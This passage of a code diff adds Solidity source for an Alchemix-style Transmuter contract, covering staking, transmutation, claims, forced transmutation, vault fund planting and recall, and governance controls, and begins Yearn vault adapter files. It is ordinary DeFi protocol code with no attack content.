+
+    /// @dev A flag indicating if deposits and flushes should be halted and if all parties should be able to recall
+    /// from the active vault.
+    bool public pause;
+
+    /// @dev The address of the contract which will receive fees.
+    address public rewards;
+
+    /// @dev A mapping of adapter addresses to keep track of vault adapters that have already been added
+    mapping(YearnVaultAdapterWithIndirection => bool) public adapters;
+
+    /// @dev A list of all of the vaults. The last element of the list is the vault that is currently being used for
+    /// deposits and withdraws. VaultWithIndirections before the last element are considered inactive and are expected to be cleared.
+    VaultWithIndirection.List private _vaults;
+
+    /// @dev make sure the contract is only initialized once.
+    bool public initialized;
+
+    /// @dev mapping of user account to the last block they acted
+    mapping(address => uint256) public lastUserAction;
+
+    /// @dev number of blocks to delay between allowed user actions
+    uint256 public minUserActionDelay;
+
+    event GovernanceUpdated(
+        address governance
+    );
+
+    event PendingGovernanceUpdated(
+        address pendingGovernance
+    );
+
+    event SentinelUpdated(
+        address sentinel
+    );
+
+    event TransmuterPeriodUpdated(
+        uint256 newTransmutationPeriod
+    );
+
+    event TokenClaimed(
+        address claimant,
+        address token,
+        uint256 amountClaimed
+    );
+
+    event AlUsdStaked(
+        address staker,
+        uint256 amountStaked
+    );
+
+    event AlUsdUnstaked(
+        address staker,
+        uint256 amountUnstaked
+    );
+
+    event Transmutation(
+        address transmutedTo,
+        uint256 amountTransmuted
+    );
+
+    event ForcedTransmutation(
+        address transmutedBy,
+        address transmutedTo,
+        uint256 amountTransmuted
+    );
+
+    event Distribution(
+        address origin,
+        uint256 amount
+    );
+
+    event WhitelistSet(
+        address whitelisted,
+        bool state
+    );
+
+    event KeepersSet(
+        address[] keepers,
+        bool[] states
+    );
+
+    event PlantableThresholdUpdated(
+        uint256 plantableThreshold
+    );
+    
+    event PlantableMarginUpdated(
+        uint256 plantableMargin
+    );
+
+    event MinUserActionDelayUpdated(
+        uint256 minUserActionDelay
+    );
+
+    event ActiveVaultUpdated(
+        YearnVaultAdapterWithIndirection indexed adapter
+    );
+
+    event PauseUpdated(
+        bool status
+    );
+
+    event FundsRecalled(
+        uint256 indexed vaultId,
+        uint256 withdrawnAmount,
+        uint256 decreasedValue
+    );
+
+    event FundsHarvested(
+        uint256 withdrawnAmount,
+        uint256 decreasedValue
+    );
+
+    event RewardsUpdated(
+        address treasury
+    );
+
+    event MigrationComplete(
+        address migrateTo,
+        uint256 fundsMigrated
+    );
+
+    constructor(address _alToken, address _token, address _governance) public {
+        require(_governance != ZERO_ADDRESS, "Transmuter: 0 gov");
+        governance = _governance;
+        alToken = _alToken;
+        token = _token;
+        transmutationPeriod = 500000;
+        minUserActionDelay = 1;
+        pause = true;
+    }
+
+    ///@return displays the user's share of the pooled alTokens.
+    function dividendsOwing(address account) public view returns (uint256) {
+        uint256 newDividendPoints = totalDividendPoints.sub(lastDividendPoints[account]);
+        return depositedAlTokens[account].mul(newDividendPoints).div(pointMultiplier);
+    }
+
+    /// @dev Checks that caller is not a eoa.
+    ///
+    /// This is used to prevent contracts from interacting.
+    modifier noContractAllowed() {
+            require(!address(msg.sender).isContract() && msg.sender == tx.origin, "no contract calls");
+        _;
+    }
+
+    ///@dev modifier to fill the bucket and keep bookkeeping correct incase of increase/decrease in shares
+    modifier updateAccount(address account) {
+        uint256 owing = dividendsOwing(account);
+        if (owing > 0) {
+            unclaimedDividends = unclaimedDividends.sub(owing);
+            tokensInBucket[account] = tokensInBucket[account].add(owing);
+        }
+        lastDividendPoints[account] = totalDividendPoints;
+        _;
+    }
+    ///@dev modifier add users to userlist. Users are indexed in order to keep track of when a bond has been filled
+    modifier checkIfNewUser() {
+        if (!userIsKnown[msg.sender]) {
+            userList[nextUser] = msg.sender;
+            userIsKnown[msg.sender] = true;
+            nextUser++;
+        }
+        _;
+    }
+
+    ///@dev run the phased distribution of the buffered funds
+    modifier runPhasedDistribution() {
+        uint256 _lastDepositBlock = lastDepositBlock;
+        uint256 _currentBlock = block.number;
+        uint256 _toDistribute = 0;
+        uint256 _buffer = buffer;
+
+        // check if there is something in bufffer
+        if (_buffer > 0) {
+            // NOTE: if last deposit was updated in the same block as the current call
+            // then the below logic gates will fail
+
+            //calculate difference in time
+            uint256 deltaTime = _currentBlock.sub(_lastDepositBlock);
+
+            // distribute all if bigger than timeframe
+            if(deltaTime >= transmutationPeriod) {
+                _toDistribute = _buffer;
+            } else {
+
+                //needs to be bigger than 0 cuzz solidity no decimals
+                if(_buffer.mul(deltaTime) > transmutationPeriod)
+                {
+                    _toDistribute = _buffer.mul(deltaTime).div(transmutationPeriod);
+                }
+            }
+
+            // factually allocate if any needs distribution
+            if(_toDistribute > 0){
+
+                // remove from buffer
+                buffer = _buffer.sub(_toDistribute);
+
+                // increase the allocation
+                increaseAllocations(_toDistribute);
+            }
+        }
+
+        // current timeframe is now the last
+        lastDepositBlock = _currentBlock;
+        _;
+    }
+
+    /// @dev A modifier which checks if whitelisted for minting.
+    modifier onlyWhitelisted() {
+        require(whiteList[msg.sender], "Transmuter: !whitelisted");
+        _;
+    }
+
+    /// @dev A modifier which checks if caller is a keepr.
+    modifier onlyKeeper() {
+        require(keepers[msg.sender], "Transmuter: !keeper");
+        _;
+    }
+
+    /// @dev Checks that the current message sender or caller is the governance address.
+    ///
+    ///
+    modifier onlyGov() {
+        require(msg.sender == governance, "Transmuter: !governance");
+        _;
+    }
+
+    /// @dev checks that the block delay since a user's last action is longer than the minimum delay
+    ///
+    modifier ensureUserActionDelay() {
+        require(block.number.sub(lastUserAction[msg.sender]) >= minUserActionDelay, "action delay not met");
+        lastUserAction[msg.sender] = block.number;
+        _;
+    }
+
+    ///@dev set the transmutationPeriod variable
+    ///
+    /// sets the length (in blocks) of one full distribution phase
+    function setTransmutationPeriod(uint256 newTransmutationPeriod) public onlyGov() {
+        transmutationPeriod = newTransmutationPeriod;
+        emit TransmuterPeriodUpdated(newTransmutationPeriod);
+    }
+
+    ///@dev claims the base token after it has been transmuted
+    ///
+    ///This function reverts if there is no realisedToken balance
+    function claim(bool asEth) 
+        public 
+        noContractAllowed() 
+    {
+        address sender = msg.sender;
+        require(realisedTokens[sender] > 0);
+        uint256 value = realisedTokens[sender];
+        realisedTokens[sender] = 0;
+        ensureSufficientFundsExistLocally(value);
+        if (asEth) {
+            IWETH9(token).withdraw(value);
+            payable(sender).transfer(value);
+        } else {
+            IERC20Burnable(token).safeTransfer(sender, value);
+        }
+        emit TokenClaimed(sender, token, value);
+    }
+
+    ///@dev Withdraws staked alTokens from the transmuter
+    ///
+    /// This function reverts if you try to draw more tokens than you deposited
+    ///
+    ///@param amount the amount of alTokens to unstake
+    function unstake(uint256 amount) 
+        public 
+        noContractAllowed() 
+        updateAccount(msg.sender) 
+    {
+        // by calling this function before transmuting you forfeit your gained allocation
+        address sender = msg.sender;
+        require(depositedAlTokens[sender] >= amount,"Transmuter: unstake amount exceeds deposited amount");
+        depositedAlTokens[sender] = depositedAlTokens[sender].sub(amount);
+        totalSupplyAltokens = totalSupplyAltokens.sub(amount);
+        IERC20Burnable(alToken).safeTransfer(sender, amount);
+        emit AlUsdUnstaked(sender, amount);
+    }
+    ///@dev Deposits alTokens into the transmuter 
+    ///
+    ///@param amount the amount of alTokens to stake
+    function stake(uint256 amount)
+        public
+        noContractAllowed()
+        ensureUserActionDelay()
+        runPhasedDistribution()
+        updateAccount(msg.sender)
+        checkIfNewUser()
+    {
+        require(!pause, "emergency pause enabled");
+
+        // requires approval of AlToken first
+        address sender = msg.sender;
+        //require tokens transferred in;
+        IERC20Burnable(alToken).safeTransferFrom(sender, address(this), amount);
+        totalSupplyAltokens = totalSupplyAltokens.add(amount);
+        depositedAlTokens[sender] = depositedAlTokens[sender].add(amount);
+        emit AlUsdStaked(sender, amount);
+    }
+    /// @dev Converts the staked alTokens to the base tokens in amount of the sum of pendingdivs and tokensInBucket
+    ///
+    /// once the alToken has been converted, it is burned, and the base token becomes realisedTokens which can be recieved using claim()    
+    ///
+    /// reverts if there are no pendingdivs or tokensInBucket
+    function transmute()
+        public 
+        noContractAllowed() 
+        ensureUserActionDelay() 
+        runPhasedDistribution() 
+        updateAccount(msg.sender) 
+    {
+        address sender = msg.sender;
+        uint256 pendingz = tokensInBucket[sender];
+        uint256 diff;
+
+        require(pendingz > 0, "need to have pending in bucket");
+
+        tokensInBucket[sender] = 0;
+
+        // check bucket overflow
+        if (pendingz > depositedAlTokens[sender]) {
+            diff = pendingz.sub(depositedAlTokens[sender]);
+
+            // remove overflow
+            pendingz = depositedAlTokens[sender];
+        }
+
+        // decrease altokens
+        depositedAlTokens[sender] = depositedAlTokens[sender].sub(pendingz);
+
+        // BURN ALTOKENS
+        IERC20Burnable(alToken).burn(pendingz);
+
+        // adjust total
+        totalSupplyAltokens = totalSupplyAltokens.sub(pendingz);
+
+        // reallocate overflow
+        increaseAllocations(diff);
+
+        // add payout
+        realisedTokens[sender] = realisedTokens[sender].add(pendingz);
+
+        emit Transmutation(sender, pendingz);
+    }
+
+    /// @dev Executes transmute() on another account that has had more base tokens allocated to it than alTokens staked.
+    ///
+    /// The caller of this function will have the surlus base tokens credited to their tokensInBucket balance, rewarding them for performing this action
+    ///
+    /// This function reverts if the address to transmute is not over-filled.
+    ///
+    /// @param toTransmute address of the account you will force transmute.
+    function forceTransmute(address toTransmute)
+        public
+        noContractAllowed()
+        ensureUserActionDelay()
+        runPhasedDistribution()
+        updateAccount(msg.sender)
+        updateAccount(toTransmute)
+        checkIfNewUser()
+    {
+        //load into memory
+        uint256 pendingz = tokensInBucket[toTransmute];
+        // check restrictions
+        require(
+            pendingz > depositedAlTokens[toTransmute],
+            "Transmuter: !overflow"
+        );
+
+        // empty bucket
+        tokensInBucket[toTransmute] = 0;
+
+        // calculaate difference
+        uint256 diff = pendingz.sub(depositedAlTokens[toTransmute]);
+
+        // remove overflow
+        pendingz = depositedAlTokens[toTransmute];
+
+        // decrease altokens
+        depositedAlTokens[toTransmute] = 0;
+
+        // BURN ALTOKENS
+        IERC20Burnable(alToken).burn(pendingz);
+        // adjust total
+        totalSupplyAltokens = totalSupplyAltokens.sub(pendingz);
+
+        // reallocate overflow
+        tokensInBucket[msg.sender] = tokensInBucket[msg.sender].add(diff);
+
+        // add payout
+        realisedTokens[toTransmute] = realisedTokens[toTransmute].add(pendingz);
+
+        uint256 value = realisedTokens[toTransmute];
+
+        ensureSufficientFundsExistLocally(value);
+
+        // force payout of realised tokens of the toTransmute address
+        realisedTokens[toTransmute] = 0;
+
+        IWETH9(token).withdraw(value);
+        payable(toTransmute).transfer(value);
+
+        emit ForcedTransmutation(msg.sender, toTransmute, value);
+    }
+
+    /// @dev Transmutes and unstakes all alTokens
+    ///
+    /// This function combines the transmute and unstake functions for ease of use
+    function exit() public noContractAllowed() {
+        transmute();
+        uint256 toWithdraw = depositedAlTokens[msg.sender];
+        unstake(toWithdraw);
+    }
+
+    /// @dev Transmutes and claims all converted base tokens.
+    ///
+    /// This function combines the transmute and claim functions while leaving your remaining alTokens staked.
+    function transmuteAndClaim(bool asEth) public noContractAllowed() {
+        transmute();
+        claim(asEth);
+    }
+
+    /// @dev Transmutes, claims base tokens, and withdraws alTokens.
+    ///
+    /// This function helps users to exit the transmuter contract completely after converting their alTokens to the base pair.
+    function transmuteClaimAndWithdraw(bool asEth) public noContractAllowed() {
+        transmute();
+        claim(asEth);
+        uint256 toWithdraw = depositedAlTokens[msg.sender];
+        unstake(toWithdraw);
+    }
+
+    /// @dev Distributes the base token proportionally to all alToken stakers.
+    ///
+    /// This function is meant to be called by the Alchemist contract for when it is sending yield to the transmuter. 
+    /// Anyone can call this and add funds, idk why they would do that though...
+    ///
+    /// @param origin the account that is sending the tokens to be distributed.
+    /// @param amount the amount of base tokens to be distributed to the transmuter.
+    function distribute(address origin, uint256 amount) public onlyWhitelisted() runPhasedDistribution() {
+        require(!pause, "emergency pause enabled");
+        IERC20Burnable(token).safeTransferFrom(origin, address(this), amount);
+        buffer = buffer.add(amount);
+        _plantOrRecallExcessFunds();
+        emit Distribution(origin, amount);
+    }
+
+    /// @dev Allocates the incoming yield proportionally to all alToken stakers.
+    ///
+    /// @param amount the amount of base tokens to be distributed in the transmuter.
+    function increaseAllocations(uint256 amount) internal {
+        if(totalSupplyAltokens > 0 && amount > 0) {
+            totalDividendPoints = totalDividendPoints.add(
+                amount.mul(pointMultiplier).div(totalSupplyAltokens)
+            );
+            unclaimedDividends = unclaimedDividends.add(amount);
+        } else {
+            buffer = buffer.add(amount);
+        }
+    }
+
+    /// @dev Gets the status of a user's staking position.
+    ///
+    /// The total amount allocated to a user is the sum of pendingdivs and inbucket.
+    ///
+    /// @param user the address of the user you wish to query.
+    ///
+    /// returns user status
+    
+    function userInfo(address user)
+        public
+        view
+        returns (
+            uint256 depositedAl,
+            uint256 pendingdivs,
+            uint256 inbucket,
+            uint256 realised
+        )
+    {
+        uint256 _depositedAl = depositedAlTokens[user];
+        uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(transmutationPeriod);
+        if(block.number.sub(lastDepositBlock) > transmutationPeriod){
+            _toDistribute = buffer;
+        }
+        uint256 _pendingdivs = _toDistribute.mul(depositedAlTokens[user]).div(totalSupplyAltokens);
+        uint256 _inbucket = tokensInBucket[user].add(dividendsOwing(user));
+        uint256 _realised = realisedTokens[user];
+        return (_depositedAl, _pendingdivs, _inbucket, _realised);
+    }
+
+    /// @dev Gets the status of multiple users in one call
+    ///
+    /// This function is used to query the contract to check for
+    /// accounts that have overfilled positions in order to check 
+    /// who can be force transmuted.
+    ///
+    /// @param from the first index of the userList
+    /// @param to the last index of the userList
+    ///
+    /// returns the userList with their staking status in paginated form. 
+    function getMultipleUserInfo(uint256 from, uint256 to)
+        public
+        view
+        returns (address[] memory theUserList, uint256[] memory theUserData)
+    {
+        uint256 i = from;
+        uint256 delta = to - from;
+        address[] memory _theUserList = new address[](delta); //user
+        uint256[] memory _theUserData = new uint256[](delta * 2); //deposited-bucket
+        uint256 y = 0;
+        uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(transmutationPeriod);
+        if(block.number.sub(lastDepositBlock) > transmutationPeriod){
+            _toDistribute = buffer;
+        }
+        for (uint256 x = 0; x < delta; x += 1) {
+            _theUserList[x] = userList[i];
+            _theUserData[y] = depositedAlTokens[userList[i]];
+            _theUserData[y + 1] = dividendsOwing(userList[i]).add(tokensInBucket[userList[i]]).add(_toDistribute.mul(depositedAlTokens[userList[i]]).div(totalSupplyAltokens));
+            y += 2;
+            i += 1;
+        }
+        return (_theUserList, _theUserData);
+    }
+
+    /// @dev Gets info on the buffer
+    ///
+    /// This function is used to query the contract to get the
+    /// latest state of the buffer
+    ///
+    /// @return _toDistribute the amount ready to be distributed
+    /// @return _deltaBlocks the amount of time since the last phased distribution
+    /// @return _buffer the amount in the buffer 
+    function bufferInfo() public view returns (uint256 _toDistribute, uint256 _deltaBlocks, uint256 _buffer){
+        _deltaBlocks = block.number.sub(lastDepositBlock);
+        _buffer = buffer; 
+        _toDistribute = _buffer.mul(_deltaBlocks).div(transmutationPeriod);
+    }
+
+    /// @dev Sets the pending governance.
+    ///
+    /// This function reverts if the new pending governance is the zero address or the caller is not the current
+    /// governance. This is to prevent the contract governance being set to the zero address which would deadlock
+    /// privileged contract functionality.
+    ///
+    /// @param _pendingGovernance the new pending governance.
+    function setPendingGovernance(address _pendingGovernance) external onlyGov() {
+        require(_pendingGovernance != ZERO_ADDRESS, "Transmuter: 0 gov");
+
+        pendingGovernance = _pendingGovernance;
+
+        emit PendingGovernanceUpdated(_pendingGovernance);
+    }
+
+    /// @dev Accepts the role as governance.
+    ///
+    /// This function reverts if the caller is not the new pending governance.
+    function acceptGovernance() external  {
+        require(msg.sender == pendingGovernance,"!pendingGovernance");
+        address _pendingGovernance = pendingGovernance;
+        governance = _pendingGovernance;
+
+        emit GovernanceUpdated(_pendingGovernance);
+    }
+
+    /// @dev Sets the whitelist
+    ///
+    /// This function reverts if the caller is not governance
+    ///
+    /// @param _toWhitelist the address to alter whitelist permissions.
+    /// @param _state the whitelist state.
+    function setWhitelist(address _toWhitelist, bool _state) external onlyGov() {
+        whiteList[_toWhitelist] = _state;
+        emit WhitelistSet(_toWhitelist, _state);
+    }
+
+    /// @dev Sets the keeper list
+    ///
+    /// This function reverts if the caller is not governance
+    ///
+    /// @param _keepers the accounts to set states for.
+    /// @param _states the accounts states.
+    function setKeepers(address[] calldata _keepers, bool[] calldata _states) external onlyGov() {
+        uint256 n = _keepers.length;
+        for(uint256 i = 0; i < n; i++) {
+            keepers[_keepers[i]] = _states[i];
+        }
+        emit KeepersSet(_keepers, _states);
+    }
+
+    /// @dev Initializes the contract.
+    ///
+    /// This function checks that the transmuter and rewards have been set and sets up the active vault.
+    ///
+    /// @param _adapter the vault adapter of the active vault.
+    function initialize(YearnVaultAdapterWithIndirection _adapter) external onlyGov {
+        require(!initialized, "Transmuter: already initialized");
+        require(rewards != ZERO_ADDRESS, "Transmuter: cannot initialize rewards address to 0x0");
+
+        _updateActiveVault(_adapter);
+
+        initialized = true;
+    }
+
+    function migrate(YearnVaultAdapterWithIndirection _adapter) external onlyGov() {
+        _updateActiveVault(_adapter);
+    }
+
+    /// @dev Updates the active vault.
+    ///
+    /// This function reverts if the vault adapter is the zero address, if the token that the vault adapter accepts
+    /// is not the token that this contract defines as the parent asset, or if the contract has not yet been initialized.
+    ///
+    /// @param _adapter the adapter for the new active vault.
+    function _updateActiveVault(YearnVaultAdapterWithIndirection _adapter) internal {
+        require(_adapter != YearnVaultAdapterWithIndirection(ZERO_ADDRESS), "Transmuter: active vault address cannot be 0x0.");
+        require(address(_adapter.token()) == token, "Transmuter.vault: token mismatch.");
+        require(!adapters[_adapter], "Adapter already in use");
+        adapters[_adapter] = true;
+        _vaults.push(VaultWithIndirection.Data({
+            adapter: _adapter,
+            totalDeposited: 0
+        }));
+
+        emit ActiveVaultUpdated(_adapter);
+    }
+
+    /// @dev Gets the number of vaults in the vault list.
+    ///
+    /// @return the vault count.
+    function vaultCount() external view returns (uint256) {
+        return _vaults.length();
+    }
+
+    /// @dev Get the adapter of a vault.
+    ///
+    /// @param _vaultId the identifier of the vault.
+    ///
+    /// @return the vault adapter.
+    function getVaultAdapter(uint256 _vaultId) external view returns (address) {
+        VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId);
+        return address(_vault.adapter);
+    }
+
+    /// @dev Get the total amount of the parent asset that has been deposited into a vault.
+    ///
+    /// @param _vaultId the identifier of the vault.
+    ///
+    /// @return the total amount of deposited tokens.
+    function getVaultTotalDeposited(uint256 _vaultId) external view returns (uint256) {
+        VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId);
+        return _vault.totalDeposited;
+    }
+
+
+    /// @dev Recalls funds from active vault if less than amt exist locally
+    ///
+    /// @param amt amount of funds that need to exist locally to fulfill pending request
+    function ensureSufficientFundsExistLocally(uint256 amt) internal {
+        uint256 currentBal = IERC20Burnable(token).balanceOf(address(this));
+        if (currentBal < amt) {
+            uint256 diff = amt - currentBal;
+            // get enough funds from active vault to replenish local holdings & fulfill claim request
+            _recallExcessFundsFromActiveVault(plantableThreshold.add(diff));
+        }
+    }
+
+    /// @dev Recalls all planted funds from a target vault
+    ///
+    /// @param _vaultId the id of the vault from which to recall funds
+    function recallAllFundsFromVault(uint256 _vaultId) external {
+        require(pause && (msg.sender == governance || msg.sender == sentinel), "Transmuter: not paused, or not governance or sentinel");
+        _recallAllFundsFromVault(_vaultId);
+    }
+
+    /// @dev Recalls all planted funds from a target vault
+    ///
+    /// @param _vaultId the id of the vault from which to recall funds
+    function _recallAllFundsFromVault(uint256 _vaultId) internal {
+        VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId);
+        (uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdrawAll(address(this));
+        emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue);
+    }
+
+    /// @dev Recalls planted funds from a target vault
+    ///
+    /// @param _vaultId the id of the vault from which to recall funds
+    /// @param _amount the amount of funds to recall
+    function recallFundsFromVault(uint256 _vaultId, uint256 _amount) external {
+        require(pause && (msg.sender == governance || msg.sender == sentinel), "Transmuter: not paused, or not governance or sentinel");
+        _recallFundsFromVault(_vaultId, _amount);
+    }
+
+    /// @dev Recalls planted funds from a target vault
+    ///
+    /// @param _vaultId the id of the vault from which to recall funds
+    /// @param _amount the amount of funds to recall
+    function _recallFundsFromVault(uint256 _vaultId, uint256 _amount) internal {
+        VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId);
+        (uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdraw(address(this), _amount);
+        emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue);
+    }
+
+    /// @dev Recalls planted funds from the active vault
+    ///
+    /// @param _amount the amount of funds to recall
+    function _recallFundsFromActiveVault(uint256 _amount) internal {
+        _recallFundsFromVault(_vaults.lastIndex(), _amount);
+    }
+
+    /// @dev Plants or recalls funds from the active vault
+    ///
+    /// This function plants excess funds in an external vault, or recalls them from the external vault
+    /// Should only be called as part of distribute()
+    function _plantOrRecallExcessFunds() internal {
+        // check if the transmuter holds more funds than plantableThreshold
+        uint256 bal = IERC20Burnable(token).balanceOf(address(this));
+        uint256 marginVal = plantableThreshold.mul(plantableMargin).div(100);
+        if (bal > plantableThreshold.add(marginVal)) {
+            uint256 plantAmt = bal - plantableThreshold;
+            // if total funds above threshold, send funds to vault
+            VaultWithIndirection.Data storage _activeVault = _vaults.last();
+            _activeVault.deposit(plantAmt);
+        } else if (bal < plantableThreshold.sub(marginVal)) {
+            // if total funds below threshold, recall funds from vault
+            // first check that there are enough funds in vault
+            uint256 harvestAmt = plantableThreshold - bal;
+            _recallExcessFundsFromActiveVault(harvestAmt);
+        }
+    }
+
+    /// @dev Recalls up to the harvestAmt from the active vault
+    ///
+    /// This function will recall less than harvestAmt if only less is available
+    ///
+    /// @param _recallAmt the amount to harvest from the active vault
+    function _recallExcessFundsFromActiveVault(uint256 _recallAmt) internal {
+        VaultWithIndirection.Data storage _activeVault = _vaults.last();
+        uint256 activeVaultVal = _activeVault.totalValue();
+        if (activeVaultVal < _recallAmt) {
+            _recallAmt = activeVaultVal;
+        }
+        if (_recallAmt > 0) {
+            _recallFundsFromActiveVault(_recallAmt);
+        }
+    }
+
+    /// @dev Sets the address of the sentinel
+    ///
+    /// @param _sentinel address of the new sentinel
+    function setSentinel(address _sentinel) external onlyGov() {
+        require(_sentinel != ZERO_ADDRESS, "Transmuter: sentinel address cannot be 0x0.");
+        sentinel = _sentinel;
+        emit SentinelUpdated(_sentinel);
+    }
+
+    /// @dev Sets the threshold of total held funds above which excess funds will be planted in yield farms.
+    ///
+    /// This function reverts if the caller is not the current governance.
+    ///
+    /// @param _plantableThreshold the new plantable threshold.
+    function setPlantableThreshold(uint256 _plantableThreshold) external onlyGov() {
+        plantableThreshold = _plantableThreshold;
+        emit PlantableThresholdUpdated(_plantableThreshold);
+    }
+
+    /// @dev Sets the plantableThreshold margin for triggering the planting or recalling of funds on harvest
+    ///
+    /// This function reverts if the caller is not the current governance.
+    ///
+    /// @param _plantableMargin the new plantable margin.
+    function setPlantableMargin(uint256 _plantableMargin) external onlyGov() {
+        plantableMargin = _plantableMargin;
+        emit PlantableMarginUpdated(_plantableMargin);
+    }
+
+    /// @dev Sets the minUserActionDelay 
+    ///
+    /// This function reverts if the caller is not the current governance.
+    ///
+    /// @param _minUserActionDelay the new min user action delay.
+    function setMinUserActionDelay(uint256 _minUserActionDelay) external onlyGov() {
+        minUserActionDelay = _minUserActionDelay;
+        emit MinUserActionDelayUpdated(_minUserActionDelay);
+    }
+
+    /// @dev Sets if the contract should enter emergency exit mode.
+    ///
+    /// There are 2 main reasons to pause:
+    ///     1. Need to shut down deposits in case of an emergency in one of the vaults
+    ///     2. Need to migrate to a new transmuter
+    ///
+    /// While the transmuter is paused, deposit() and distribute() are disabled
+    ///
+    /// @param _pause if the contract should enter emergency exit mode.
+    function setPause(bool _pause) external {
+        require(msg.sender == governance || msg.sender == sentinel, "!(gov || sentinel)");
+        pause = _pause;
+        emit PauseUpdated(_pause);
+    }
+
+    /// @dev Harvests yield from a vault.
+    ///
+    /// @param _vaultId the identifier of the vault to harvest from.
+    ///
+    /// @return the amount of funds that were harvested from the vault.
+    function harvest(uint256 _vaultId) external onlyKeeper() returns (uint256, uint256) {
+
+        VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId);
+
+        (uint256 _harvestedAmount, uint256 _decreasedValue) = _vault.harvest(rewards);
+
+        emit FundsHarvested(_harvestedAmount, _decreasedValue);
+
+        return (_harvestedAmount, _decreasedValue);
+    }
+
+    /// @dev Sets the rewards contract.
+    ///
+    /// This function reverts if the new rewards contract is the zero address or the caller is not the current governance.
+    ///
+    /// @param _rewards the new rewards contract.
+    function setRewards(address _rewards) external onlyGov() {
+        // Check that the rewards address is not the zero address. Setting the rewards to the zero address would break
+        // transfers to the address because of `safeTransfer` checks.
+        require(_rewards != ZERO_ADDRESS, "Transmuter: rewards address cannot be 0x0.");
+
+        rewards = _rewards;
+
+        emit RewardsUpdated(_rewards);
+    }
+
+    /// @dev Migrates transmuter funds to a new transmuter
+    ///
+    /// @param migrateTo address of the new transmuter
+    function migrateFunds(address migrateTo) external onlyGov() {
+        require(migrateTo != address(0), "cannot migrate to 0x0");
+        require(pause, "migrate: set emergency exit first");
+
+        // leave enough funds to service any pending transmutations
+        uint256 totalFunds = IERC20Burnable(token).balanceOf(address(this));
+        uint256 migratableFunds = totalFunds.sub(totalSupplyAltokens, "not enough funds to service stakes");
+        IERC20Burnable(token).approve(migrateTo, migratableFunds);
+        ITransmuter(migrateTo).distribute(address(this), migratableFunds);
+        emit MigrationComplete(migrateTo, migratableFunds);
+    }
+
+    /// @dev Recover eth sent directly to the Alchemist
+    ///
+    /// only callable by governance
+    function recoverLostFunds() external onlyGov() {
+        payable(governance).transfer(address(this).balance);
+    }
+
+    receive() external payable {}
+}
diff --git a/defi/Alchemix/contracts/adapters/YearnVaultAdapter.sol b/defi/Alchemix/contracts/adapters/YearnVaultAdapter.sol
new file mode 100644
index 000000000..16fb3cd37
--- /dev/null
+++ b/defi/Alchemix/contracts/adapters/YearnVaultAdapter.sol
@@ -0,0 +1,100 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+pragma experimental ABIEncoderV2;
+
+import "hardhat/console.sol";
+
+import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
+
+import {FixedPointMath} from "../libraries/FixedPointMath.sol";
+import {IDetailedERC20} from "../interfaces/IDetailedERC20.sol";
+import {IVaultAdapter} from "../interfaces/IVaultAdapter.sol";
+import {IyVaultV2} from "../interfaces/IyVaultV2.sol";
+
+/// @title YearnVaultAdapter
+///
+/// @dev A vault adapter implementation which wraps a yEarn vault.
+contract YearnVaultAdapter is IVaultAdapter {
+  using FixedPointMath for FixedPointMath.FixedDecimal;
+  using SafeERC20 for IDetailedERC20;
+  using SafeMath for uint256;
+
+  /// @dev The vault that the adapter is wrapping.
+  IyVaultV2 public vault;
+
+  /// @dev The address which has admin control over this contract.
+  address public admin;
+
+  /// @dev The decimals of the token.
+  uint256 public decimals;
+
+  constructor(IyVaultV2 _vault, address _admin) public {
+    vault = _vault;
+    admin = _admin;
+    updateApproval();
+    decimals = _vault.decimals();
+  }
+
+  /// @dev A modifier which reverts if the caller is not the admin.
+  modifier onlyAdmin() {
+    require(admin == msg.sender, "YearnVaultAdapter: only admin");
+    _;
+  }
+
+  /// @dev Gets the token that the vault accepts.
+  ///
+  /// @return the accepted token.
+  function token() external view override returns (IDetailedERC20) {
+    return IDetailedERC20(vault.token());
+  }
+
+  /// @dev Gets the total value of the assets that the adapter holds in the vault.
+  ///
+  /// @return the total assets.
+  function totalValue() external view override returns (uint256) {
+    return _sharesToTokens(vault.balanceOf(address(this)));
+  }
+
+  /// @dev Deposits tokens into the vault.
+  ///
+  /// @param _amount the amount of tokens to deposit into the vault.
+  function deposit(uint256 _amount) external override {
+    vault.deposit(_amount);
+  }
+
+  /// @dev Withdraws tokens from the vault to the recipient.
+  ///
+  /// This function reverts if the caller is not the admin.
+  ///
+  /// @param _recipient the account to withdraw the tokes to.
+  /// @param _amount    the amount of tokens to withdraw.
+  function withdraw(address _recipient, uint256 _amount) external override onlyAdmin {
+    vault.withdraw(_tokensToShares(_amount),_recipient);
+  }
+
+  /// @dev Updates the vaults approval of the token to be the maximum value.
+  function updateApproval() public {
+    address _token = vault.token();
+    IDetailedERC20(_token).safeApprove(address(vault), uint256(-1));
+  }
+
+  /// @dev Computes the number of tokens an amount of shares is worth.
+  ///
+  /// @param _sharesAmount the amount of shares.
+  ///
+  /// @return the number of tokens the shares are worth.
+  
+  function _sharesToTokens(uint256 _sharesAmount) internal view returns (uint256) {
+    return _sharesAmount.mul(vault.pricePerShare()).div(10**decimals);
+  }
+
+  /// @dev Computes the number of shares an amount of tokens is worth.
+  ///
+  /// @param _tokensAmount the amount of shares.
+  ///
+  /// @return the number of shares the tokens are worth.
+  function _tokensToShares(uint256 _tokensAmount) internal view returns (uint256) {
+    return _tokensAmount.mul(10**decimals).div(vault.pricePerShare());
+  }
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/adapters/YearnVaultAdapterEth.sol b/defi/Alchemix/contracts/adapters/YearnVaultAdapterEth.sol
new file mode 100644
index 000000000..f2ffe962b
--- /dev/null
+++ b/defi/Alchemix/contracts/adapters/YearnVaultAdapterEth.sol
@@ -0,0 +1,100 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+pragma experimental ABIEncoderV2;
+
+import "hardhat/console.sol";
+
